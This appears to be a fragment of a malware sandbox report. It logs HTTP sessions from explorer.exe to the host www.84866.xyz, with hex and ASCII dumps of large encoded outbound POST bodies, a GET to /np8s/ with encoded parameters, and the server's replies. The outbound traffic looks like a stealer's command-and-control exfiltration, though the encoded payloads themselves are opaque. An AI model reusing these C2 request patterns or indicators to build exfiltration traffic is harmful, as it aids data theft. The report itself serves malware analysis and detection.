4d 37 74 62 78 43 6c 31 61 51 48 39 4f 54 4b 76 59 79 32 46 79 34 79 69 37 46 6a 6c 41 71 4a 46 73 68 4e 6f 75 56 67 39 6a 58 6d 69 67 44 41 6d 55 44 61 4e 55 69 35 2d 69 48 42 5a 33 69 71 30 6a 50 47 6f 6c 74 4f 41 47 47 68 34 55 6c 79 6f 68 41 49 33 46 33 70 43 48 51 44 70 68 4e 48 2d 75 52 61 5a 55 59 6d 73 47 6e 71 65 69 78 67 31 6a 38 47 38 6d 57 73 65 68 66 49 6d 57 74 64 43 6a 33 6c 31 7e 6a 67 36 37 57 68 30 62 4a 4c 6a 74 39 65 75 32 73 72 58 56 69 6e 5a 63 74 6a 72 45 5f 32 35 6f 39 44 74 51 4e 68 65 35 6c 4a 58 56 64 43 31 37 44 34 72 57 51 45 4e 30 49 56 6e 6f 33 34 56 65 33 30 52 62 35 66 70 4f 41 6a 48 69 35 7a 4f 31 71 77 2d 63 4d 75 48 33 78 50 66 54 57 34 58 54 35 6e 50 69 43 78 69 57 57 4f 73 6d 67 41 6b 72 46 75 38 54 46 55 35 4f 68 41 36 4f 44 6e 32 73 67 55 64 45 6f 51 32 73 73 30 68 75 42 42 47 32 31 51 57 73 68 37 6b 7e 45 43 36 44 4d 73 76 7a 32 75 48 4f 39 45 4e 68 38 4f 56 4b 30 36 68 32 55 63 38 4c 59 43 6f 75 66 32 33 78 52 33 45 48 6d 65 34 4f 33 47 57 36 58 6a 45 59 4e 5a 34 5a 42 66 4d 52 42 32 42 6b 38 4e 5a 31 4b 28 67 30 6f 46 7a 37 39 48 68 65 30 39 66 37 41 33 38 66 36 31 76 50 53 54 64 59 57 6e 41 4a 74 33 42 4e 66 54 5a 35 67 69 57 57 54 68 75 79 69 76 4c 77 4a 69 7a 6c 37 77 30 73 78 32 55 55 72 75 39 67 67 74 59 59 44 53 46 56 43 6a 78 48 44 65 42 36 42 4a 41 46 51 6a 49 72 6e 38 5f 4f 4c 71 64 66 58 74 67 48 62 42 39 35 48 74 4a 51 34 54 42 4c 39 4a 43 54 7a 70 35 56 74 4a 42 49 4e 37 4a 66 4d 59 74 54 41 47 38 74 63 6e 35 63 77 42 30 70 73 62 53 64 4a 6c 6f 28 35 62 71 44 36 7e 6c 79 43 28 55 37 51 49 53 6f 45 67 55 31 5f 39 37 45 37 71 44 45 31 37 38 39 53 41 69 57 32 67 5a 61 31 64 71 72 6e 77 65 43 36 49 76 44 41 7e 4e 75 41 42 43 37 72 44 47 32 59 36 59 51 50 48 31 4a 63 4a 30 52 4e 42 33 66 6e 58 46 62 42 47 73 55 78 6f 36 46 65 33 64 74 53 61 5f 50 73 4a 52 67 30 36 48 5a 39 6b 5a 67 46 4d 6c 5a 63 47 37 31 69 61 4f 33 7a 66 74 57 68 38 4f 6c 57 69 46 69 4a 38 70 41 68 4e 4a 72 63 4b 2d 6f 41 67 77 38 32 61 39 46 4e 57 77 37 45 47 68 49 47 64 6a 42 55 4c 65 49 44 4b 35 6c 34 51 57 4c 62 62 30 6e 79 63 61 46 64 78 5a 73 42 36 64 6a 57 68 2d 55 63 51 69 63 66 43 45 68 4c 66 33 31 39 6c 5f 6d 69 4a 58 4a 73 61 6d 7e 57 4a 72 66 62 79 34 4d 4d 34 30 59 75 63 37 7e 31 74 63 76 61 50 54 4c 4d 4c 4b 77 6d 4f 54 59 62 75 59 69 33 56 4b 54 64 43 54 62 45 4f 2d 39 75 30 30 28 54 63 30 57 5a 79 62 4f 46 6e 38 31 6b 7a 45 53 4e 6c 76 6a 33 7e 39 67 46 73 4c 63 56 78 45 5a 46 6f 54 32 51 6d 4f 4a 53 53 4f 6f 6e 69 31 70 6a 38 35 53 35 28 4e 57 58 30 42 7a 7a 53 46 69 75 65 47 53 32 78 51 7a 79 37 79 58 49 61 33 41 4b 75 4c 4a 78 34 6f 4b 35 33 63 76 68 6d 6d 5a 5a 34 34 6f 49 7a 72 34 44 50 6e 37 69 6e 35 4f 31 4a 44 69 41 6e 67 55 71 42 67 4d 35 70 38 35 49 76 33 7e 5a 61 35 67 41 48 52 7e 6f 30 50 65 6b 4e 73 57 6e 38 39 77 56 50 65 50 6c 74 34 78 66 65 44 63 4b 48 78 35 72 4f 73 74 44 55 78 75 38 79 5a 50 6c 64 5a 48 4b 73 54 71 72 7e 4a 41 6a 6e 6d 4d 78 31 66 4a 77 28 7a 7e 58 68 2d 41 47 6a 51 64 4b 77 54 76 4f 4a 74 70 4b 59 44 7e 77 74 45 32 4b 47 59 59 5a 39 5f 65 73 56 71 6f 30 6d 69 28 67 57 74 46 55 70 74 35 64 41 52 79 4f 33 54 46 68 4e 46 32 45 4e 30 70 43 37 45 45 38 49 58 44 57 64 77 41 54 67 48 69 6e 37 51 61 79 7a 45 75 71 6a 30 73 38 44 4f 69 59 68 7a 39 57 6a 54 76 58 28 6a 6f 4e 56 4a 70 4a 41 4d 6e 6f 4e 50 41 74 6e 37 6e 54 68 50 49 63 63 2d 6a 65 59 37 35 55 35 5a 42 5f 67 47 5a 63 41 66 50 68 38 75 6b 43 51 4a 4b 4e 42 68 67 50 58 6e 54 64 64 4f 74 52 58 64 41 33 38 61 66 61 62 77 68 65 4c 7a 61 7a 33 2d 46 5f 4c 4b 47 48 4d 35 67 67 33 73 48 59 59 57 65 45 44 65 50 2d 30 43 4f 4f 61 Data Ascii: zVB=ENJ-WSD8UHtbzFxEXKv2ge8DDELsoOrUr9z4Ag3uTMNg8imsfJ~MPP0SgtQBfSz0Dy0IZgAF5hHlRNLglw9dhQSKCXmzrQ4el_NkWkfzhKQo4zrmRUdejMGo9jq7Re86GPdvbXBBRSm_B59wMyTmlnST9aO-M7tbxCl1aQH9OTKvYy2Fy4yi7FjlAqJFshNouVg9jXmigDAmUDaNUi5-iHBZ3iq0jPGoltOAGGh4UlyohAI3F3pCHQDphNH-uRaZUYmsGnqeixg1j8G8mWsehfImWtdCj3l1~jg67Wh0bJLjt9eu2srXVinZctjrE_25o9DtQNhe5lJXVdC17D4rWQEN0IVno34Ve30Rb5fpOAjHi5zO1qw-cMuH3xPfTW4XT5nPiCxiWWOsmgAkrFu8TFU5OhA6ODn2sgUdEoQ2ss0huBBG21QWsh7k~EC6DMsvz2uHO9ENh8OVK06h2Uc8LYCouf23xR3EHme4O3GW6XjEYNZ4ZBfMRB2Bk8NZ1K(g0oFz79Hhe09f7A38f61vPSTdYWnAJt3BNfTZ5giWWThuyivLwJizl7w0sx2UUru9ggtYYDSFVCjxHDeB6BJAFQjIrn8_OLqdfXtgHbB95HtJQ4TBL9JCTzp5VtJBIN7JfMYtTAG8tcn5cwB0psbSdJlo(5bqD6~lyC(U7QISoEgU1_97E7qDE1789SAiW2gZa1dqrnweC6IvDA~NuABC7rDG2Y6YQPH1JcJ0RNB3fnXFbBGsUxo6Fe3dtSa_PsJRg06HZ9kZgFMlZcG71iaO3zftWh8OlWiFiJ8pAhNJrcK-oAgw82a9FNWw7EGhIGdjBULeIDK5l4QWLbb0nycaFdxZsB6djWh-UcQicfCEhLf319l_miJXJsam~WJrfby4MM40Yuc7~1tcvaPTLMLKwmOTYbuYi3VKTdCTbEO-9u00(Tc0WZybOFn81kzESNlvj3~9gFsLcVxEZFoT2QmOJSSOoni1pj85S5(NWX0BzzSFiueGS2xQzy7yXIa3AKuLJx4oK53cvhmmZZ44oIzr4DPn7in5O1JDiAngUqBgM5p85Iv3~Za5gAHR~o0PekNsWn89wVPePlt4xfeDcKHx5rOstDUxu8yZPldZHKsTqr~JAjnmMx1fJw(z~Xh-AGjQdKwTvOJtpKYD~wtE2KGYYZ9_esVqo0mi(gWtFUpt5dARyO3TFhNF2EN0pC7EE8IXDWdwATgHin7QayzEuqj0s8DOiYhz9WjTvX(joNVJpJAMnoNPAtn7nThPIcc-jeY75U5ZB_gGZcAfPh8ukCQJKNBhgPXnTddOtRXdA38afabwheLzaz3-F_LKGHM5gg3sHYYWeEDeP-0COOa90dHwlpYD4BPEzthVJEyyWFCzfBbjFCcxVcoHNUd-QgYSgTXQ7f7u(2p2e6~oj4lCnxud5UqZ8hSUZGxQOCzI7DJ60UrQTrN52sudhD2zcAOeYgaI0rOu0hMV8sNDQaxXmdp5vaHzSjvjhtSEi0j_6BmxhoXWhwA6WsUcElw7yfqhWRLlp8f58NwoPD1k3et0HnjI~F8tfSCkkSRdfWlFAI6BoNWv6I6YYrM2s5~_thYzp_GM2PjzgGcpgv3HvHJzPDsZlHe09BFNI4qd3XP84uorlZBLzEfG6NNgYLSuRjU6iQHcGuf2Rcf-3WYWLKyGlO5H(MYs4BSnE_4j(7tLSjZXFR~k4L0xx7x9AtyYaR5vJPzr8RTP1lPX2nBgB9apoV5I4IzsxQGwngLTSwPhzYiLGUUnOVxgOQhIZtIRkpu-5vWKeFnAP5TRBil8LT5cFuPoNm7nb0NOvhdqwLV_EFDeFPh8jMqrPgZ9LjUO083CmD1YEBhXcl3_VY6MZg0fyvZ-9U9Wq3xfxQlZnAwLRVA7N34-Li0pnD9_zERfL9oDrbI7Lep4LG9ZMMBABO6BMwIsRg(-k1LoGz2afXtgIsFdHho06Z9y(1gT669-xveuxZsxO8pdr49h4iXki1f86C98ikJExJyXRQFmhbpMXn3zIBaUn_j1NiHQq7eFhf7PHXagpq1g8lkkkMYp3HKNXaCSjOMhWX80zjcClyH1oZo_n0elY_p9lW0RUdGkszazDyt2kKvBVSFQCOwqMigPRNkxCizqzW65OFLU~JMeQCsItLr0TBItlRo1v3JpPKT31sgtENUk5AP3Sq7pwqN5FLISQeGZNLEiKdfTczcnWMAW3XMuzJxpCo9wYesfd8ieZ8Xi86aS(wKEKPvp4ITB7eeEOcNrO9eZmq3HUfG1cFxoNG5AV-M4QODygkJVjGJFEwXbmARMoosLybkbLXe7jc1-HUwFLSgNev72Cfr1skC9tFiFBrB9f-t-YZULB4ai~p0Ty6fOYzH5Lyn1sw9ezzF58On85v1nFqGtMuRzWFoz~QD3x5x95UV6a6eCk1DP8DxQA7K1aKgrWiETgXf6Yz3hy_HYzvKmj8RFJzbzkQbCHNblVDKH5xkO~bORIADMWmoWqZurH56G4EGDQtt2x_w6kZtXDUBP1BV2w6MRepgVFPPvK8RPLvd_L3JncExdBh7gQ9q6bBpzec3gD8VVJZu1p4r1VTQwRfKpvQjerM8RR1cIh_ziieh46CDWzz8RiTdB(YGAH7xz~W10LlFLWaamjFCHouG4~p0DGz4qu_uiZykfOZnhj4rECmPrBXen8VeKLGVcegFl(ptJKptuZT0wSf5C5evx9rrY~rq14_3hAdE_CiUH1YvDuTFcZha_~-NB2fKr8HpGzYOr9nUZjWW4HWMKVfs3Ur~tZAptK-gtgsv8zWavu5evlgLtHwiWbNpqb5KvgbpR1JNfUWEz0D7ABUw6srH5s26QsaLgfHr0YmYk0reXjSUKNXuQypUBxidLTA9s0h08TodXuJSWjyTMDmMvHjRsLHCV8ejSD9lu~fAD0yuau8T4MhVJpXQxuf1Wk6UG0CPY~qZXYCPhJsYwbFqJvLDGREySNxwcdL6X11(vLIikf-wbfwzk78M0qcNTp4Nn0Eh7RCMnOGROTbCAdvhIyGvA9kqkHp5laGYEs6~pV8eLbAB48aFnkVXj97aszSNHQQzGL69QsPwcY_7IKiknS-SOO_lxf_IMvDOWedHQYfCTalF-VPCggtPRLcBnHw7NN0tQFAgGF4xjNsyF4zDVerjdCFF0Q4XH2zGlnxOvEuExcIof1C8WXGpUFQ(KIRmBvCegYnI3S5NFUfPrdrRw~YZtBCQWdYKmN-kNdX6ekNI2iOB0dytV0di4Nj7TkDE6c1tt0M46PqaiCoBJLlANZSjT4-~Eum4c5qY3TFMJItec0cSkXpy6f4bPv1QaW4y4DRsCIgajpuxGkTUqzNEqtebhAn3IMXm7W-kCx6GZBQKZRzqadtRQ6khLYHvVQN(m9PvpacRutpTfsXABvFW627CJACeyKIZV5dEIzPR92fAYytI4YkX59Qltv1zZ2GwGi5c_J9e3qgXy5DhDmHwmRT3z16HvDiORnui0ocRX9Vg7Hz95~Zm0bAEvcCTDbuhTZGx5fAqPw5wzV4UTVJlUGDs8MMy6LT3vL6KmHO1QoCvh5YFjL-lRGGJiaGIkGywZeBr6Rinwmjd2ObaobjVQhssuODaAEW7jpe0U5999o2LNhk0JjV913Rc0w2NOfJJUHR9I2uaexlpESQ96Py~koXX8d0htvhIv6d(1(A0fUK4Q(fSyMAKSgQLyMVtBjzTnv_CI6rxg39CDWFICg361SK90esS9Nhi21lbBHRP8z0dw5dFYnlia1RgpR1YSv_p318~bM66SPqQ2fDUskNsbmFtFK8arxkdlXQh94x5qKst8AGm7V120gBYaWKFagN6OxtGTGyiut5pM31Uh5Ukpwtvh5_MWNqBbMPzw3ODeNb5QNUz6xQdGGYWj1ka2VWYQbY4_12GeGkCKBlB6yvWRiYwQHZYxMutAjqn5(44Cgdz0wstWY_UEH1VEZnFZDnHjeiLZXjrDtWA0H1pSzYZPPdhQnMgXa6Ib~rST2ZTQl5mj(1ttMfDZfbD5~oesUkP4Bbwhr4pJ2YTI0iInjB4bTH7nOmS599mmKlvblycwlnIS5f
May 27, 2022 18:44:34.394298077 CEST	9831	OUT	Data Raw: 33 57 6f 62 76 38 74 48 38 71 35 34 63 72 67 59 65 55 7a 64 31 78 67 71 78 6c 4a 42 57 71 6d 6b 42 75 4c 4d 65 28 75 78 69 31 5f 44 42 33 70 4f 6e 30 50 4a 70 4d 55 62 7a 72 58 71 48 59 62 71 30 32 64 6c 70 7e 35 35 45 39 57 53 73 46 61 4d 44 6a Data Ascii: 3Wobv8tH8q54crgYeUzd1xgqxlJBWqmkBuLMe(uxi1_DB3pOn0PJpMUbzrXqHYbq02dlp~55E9WSsFaMDj-Fm044Mrv(atMO9C0QJOI4UyFLEw9un6aD_U8VSxuzsYMNu8TQDmRJjfnEkjEelrgJd3tNNqS4QAGjyWGxiod4C4QsdBlv7Mvo67dx1xderDO5CHkgZaOXKCrs5n8Xve-(v465BM8e4NkOBjgLvPFiUEfr5Oimnyp
May 27, 2022 18:44:34.394377947 CEST	9834	OUT	Data Raw: 70 5a 4b 34 34 4b 46 4f 63 62 38 74 5f 74 42 37 79 6e 4a 6d 76 6d 50 39 37 58 79 28 47 69 65 73 73 55 6c 73 62 6f 6f 4c 51 4d 4c 6b 55 73 63 66 74 52 62 68 79 45 2d 54 46 44 57 50 71 54 46 5a 4f 78 37 42 50 39 50 4d 62 5a 68 54 41 54 4f 28 45 57 Data Ascii: pZK44KFOcb8t_tB7ynJmvmP97Xy(GiessUlsbooLQMLkUscftRbhyE-TFDWPqTFZOx7BP9PMbZhTATO(EWwoDb4jo5ZrQMVnAxXISlgxXC36wqdQEeDz9QJaw(Zzwsy38n9SBaTNoK6Tt2kBItk5QluLGmZZh~wJ8wqvA6h5oSKU6EeInuJlqbBzD2NVJMUQWTIJrqS4srsyX2PFt4SG6BfQF3e5enmr6WV7irP2YOTH2(t~ko3
May 27, 2022 18:44:34.394426107 CEST	9839	OUT	Data Raw: 2d 50 68 4c 47 51 63 4e 58 6e 6b 54 43 4e 34 54 64 76 42 71 47 63 6c 35 33 48 54 5a 4f 56 47 4a 57 66 4e 41 52 35 36 4a 37 7e 78 56 58 72 4f 56 6a 55 6b 6e 76 6c 42 31 58 7e 6d 78 4a 41 48 79 57 74 34 51 5a 43 42 78 50 44 38 42 47 75 74 43 7a 4a Data Ascii: -PhLGQcNXnkTCN4TdvBqGcl53HTZOVGJWfNAR56J7~xVXrOVjUknvlB1X~mxJAHyWt4QZCBxPD8BGutCzJHFJv1SjYYHEaDhvW8M2HZhM2lKYTAZdO4czeuGBdn48ACOVFQFpa_ED97(xOaDtqccINzhS2dBOoCWNkED1MPqAg5IgkSVe86wyDqm0Q0LhExzrdwkOavVlNXYSXt81u_0b3c1TNEW7EBmL2j6k1eSZaspsJK8CxT
May 27, 2022 18:44:34.394479036 CEST	9842	OUT	Data Raw: 39 72 62 77 6b 47 30 75 71 55 69 6f 37 64 4e 62 38 6c 78 37 75 7a 34 6b 70 54 79 53 6f 36 77 71 6e 64 76 70 36 58 57 42 6c 6c 71 6c 4f 63 50 58 72 4d 32 4f 75 30 5a 31 61 53 53 54 62 28 4f 6a 43 4e 43 4f 48 36 54 6e 4c 6e 65 50 56 73 33 71 4c 42 Data Ascii: 9rbwkG0uqUio7dNb8lx7uz4kpTySo6wqndvp6XWBllqlOcPXrM2Ou0Z1aSSTb(OjCNCOH6TnLnePVs3qLBelO16w-OJrIVIzm(2Qc7p~bV9z6CPrKS1(gwoqcUbLo9FQ0KI33bDKY~m0KG82YDMCNY0xClUaSzeqSddVIN2K5xwh2XFsaTuePkulbQZtXUq~V67CtEJG0oLLjighzpXvQxDOuN2mfKG2XFLX3LvYJuJ6fVhpIn3
May 27, 2022 18:44:34.394573927 CEST	9844	OUT	Data Raw: 49 7a 62 65 63 44 6b 4b 59 63 65 77 45 30 34 49 66 4d 65 45 59 71 6e 47 75 45 46 49 62 63 51 4f 33 46 39 30 62 78 67 31 54 68 5a 6e 72 78 68 49 2d 63 64 50 64 6c 7a 44 6b 70 45 78 32 7e 2d 44 73 4e 51 74 5f 62 78 4d 70 5a 45 41 34 6f 53 74 65 32 Data Ascii: IzbecDkKYcewE04IfMeEYqnGuEFIbcQO3F90bxg1ThZnrxhI-cdPdlzDkpEx2~-DsNQt_bxMpZEA4oSte21jFoUKLrlKT2rO9dariltv7I60iVnr857Dct2hOiizcZ5pcOg3WD-jbo4Qvvru1CaoKM6mi8rUuGorqrPd3HMRXjEdWSYPUCRlpZayWx769ZZnypzS59_0nHttEAxBJn07HkzdZ1FhbQug0C_qpKwkxNNOi9ScdVB
May 27, 2022 18:44:34.394599915 CEST	9847	OUT	Data Raw: 76 4f 4e 33 6c 45 65 67 4e 53 69 50 50 4b 4b 79 59 28 67 79 62 5a 4c 73 56 37 59 61 30 72 65 6f 6a 35 56 39 74 33 74 33 77 31 6e 4a 52 57 41 6e 68 7e 38 68 66 36 2d 44 34 55 39 72 56 79 5f 70 6e 44 73 46 59 53 36 65 61 61 4d 31 64 66 32 39 65 78 Data Ascii: vON3lEegNSiPPKKyY(gybZLsV7Ya0reoj5V9t3t3w1nJRWAnh~8hf6-D4U9rVy_pnDsFYS6eaaM1df29exbf1M7jO43Qs84ZyCZD5(u0SUFFfE4cxLIlMH0CZujVWwRhb9pfVn8z3XWl3RAtpVLLJcuxT6GcQTUnQmyegadmAvwjvQA2iAfaWo9oAjYOEhQH7(kCO4au1FCK2sYjFE6eGDHTLvDmGaLU-gAlj2PGWpgpabjL0FB
May 27, 2022 18:44:34.394628048 CEST	9849	OUT	Data Raw: 6a 76 52 37 4e 31 72 4c 34 43 38 47 50 62 44 58 39 7e 39 55 36 42 78 48 71 42 36 5a 36 6b 79 46 30 33 45 6b 6f 58 5f 56 6a 50 46 6d 77 51 78 46 79 73 52 35 38 41 64 76 6c 5a 47 46 6a 57 6f 57 4b 6a 44 47 6f 4c 51 38 47 57 76 74 31 48 30 78 36 56 Data Ascii: jvR7N1rL4C8GPbDX9~9U6BxHqB6Z6kyF03EkoX_VjPFmwQxFysR58AdvlZGFjWoWKjDGoLQ8GWvt1H0x6VSE3H_MtiFq1D-VMtQ3CyzCfXvaSLfLHoBOdv86XzHRGM9PTVSdGpEv8r0nVka4Zu_ABRtGXxeEPjB5g088-cy1jTEUmWi68fQz6Y-POeAVN5OvR2ezMV8Zq0U8tHm0m7AtreK5xGXBut8JH0iQdgawvOyjfQU90yQ
May 27, 2022 18:44:34.671848059 CEST	9851	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.2 Date: Fri, 27 May 2022 16:44:34 GMT Content-Type: text/html Content-Length: 157 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49943	35.241.47.216	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:44:34.393027067 CEST	9825	OUT	GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&CTr8g=z48HVPSHfp HTTP/1.1 Host: www.84866.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:44:34.679665089 CEST	9853	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 27 May 2022 16:44:34 GMT Content-Type: text/html Content-Length: 5248 Last-Modified: Fri, 11 Mar 2022 02:41:55 GMT Vary: Accept-Encoding ETag: "622ab6f3-1480" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 67 6c 6f 62 61 6c 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6c 6f 61 64 22 2c 72 65 6c 3a 22 32 2e 32 38 2e 31 22 2c 73 61 6d 70 6c 65 52 61 74 65 3a 31 2c 70 6c 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6c 6f 62 61 6c 65 72 72 6f 72 50 6c 75 67 69 6e 2c 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 2c 72 65 73 45 72 72 3a 21 30 2c 72 65 73 45 72 72 53 61 6d 70 6c 65 52 61 74 65 3a 31 7d 5d 2c 5b 77 69 6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6c 75 67 69 6e 2c 7b 65 6e 61 62 6c 65 3a 21 30 2c 73 61 6d 70 6c 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6c 6c 28 29 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 62 61 69 64 75 50 75 73 68 28 74 2c 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63 6b 45 76 65 6e 74 22 2c 74 2c Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="true"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download",rel:"2.28.1",sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loadBaiduHmt(t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}function baiduPush(t,e,o){window._hmt.push(["_trackEvent",t,
May 27, 2022 18:44:34.679717064 CEST	9854	IN	Data Raw: 65 2c 6f 5d 29 7d 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e5 8a a0 e8 bd bd e7 99 be e5 ba a6 e7 bb 9f e8 ae a1 e8 84 9a e6 9c ac 2e 2e 2e 22 29 2c 77 69 6e 64 6f 77 2e 5f 68 6d 74 3d 77 69 6e 64 6f 77 2e 5f 68 6d 74 7c 7c 5b 5d 3b 63 6f 6e 73 74 Data Ascii: e,o])}console.log("..."),window._hmt=window._hmt\|\|[];const BUILD_ENV="quark",token="42296466acbd6a1e84224ab1433a06cc";loadBaiduHmt(token)</script><script>function send(n){(new Image).src=n}function reportLoading(n){n=n\|
May 27, 2022 18:44:34.679773092 CEST	9855	IN	Data Raw: 6c 61 63 65 28 2f 25 32 30 2f 67 2c 22 2b 22 29 2c 73 3d 22 22 2e 63 6f 6e 63 61 74 28 22 68 74 74 70 73 3a 2f 2f 74 72 61 63 6b 2e 75 63 2e 63 6e 2f 63 6f 6c 6c 65 63 74 22 2c 22 3f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 26 22 29 2e 63 6f 6e 63 Data Ascii: lace(/%20/g,"+"),s="".concat("https://track.uc.cn/collect","?").concat(c,"&").concat("uc_param_str=dsfrpfvedncpssntnwbipreimeutsv");(o()\|\|r())&&"android"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android"
May 27, 2022 18:44:34.679805040 CEST	9855	IN	Data Raw: 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 24 73 63 72 69 70 74 31 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 24 73 63 72 69 70 74 31 2e 73 65 74 41 74 74 72 Data Ascii: ntsByTagName("head")[0],$script1=document.createElement("script");$script1.setAttribute("cross
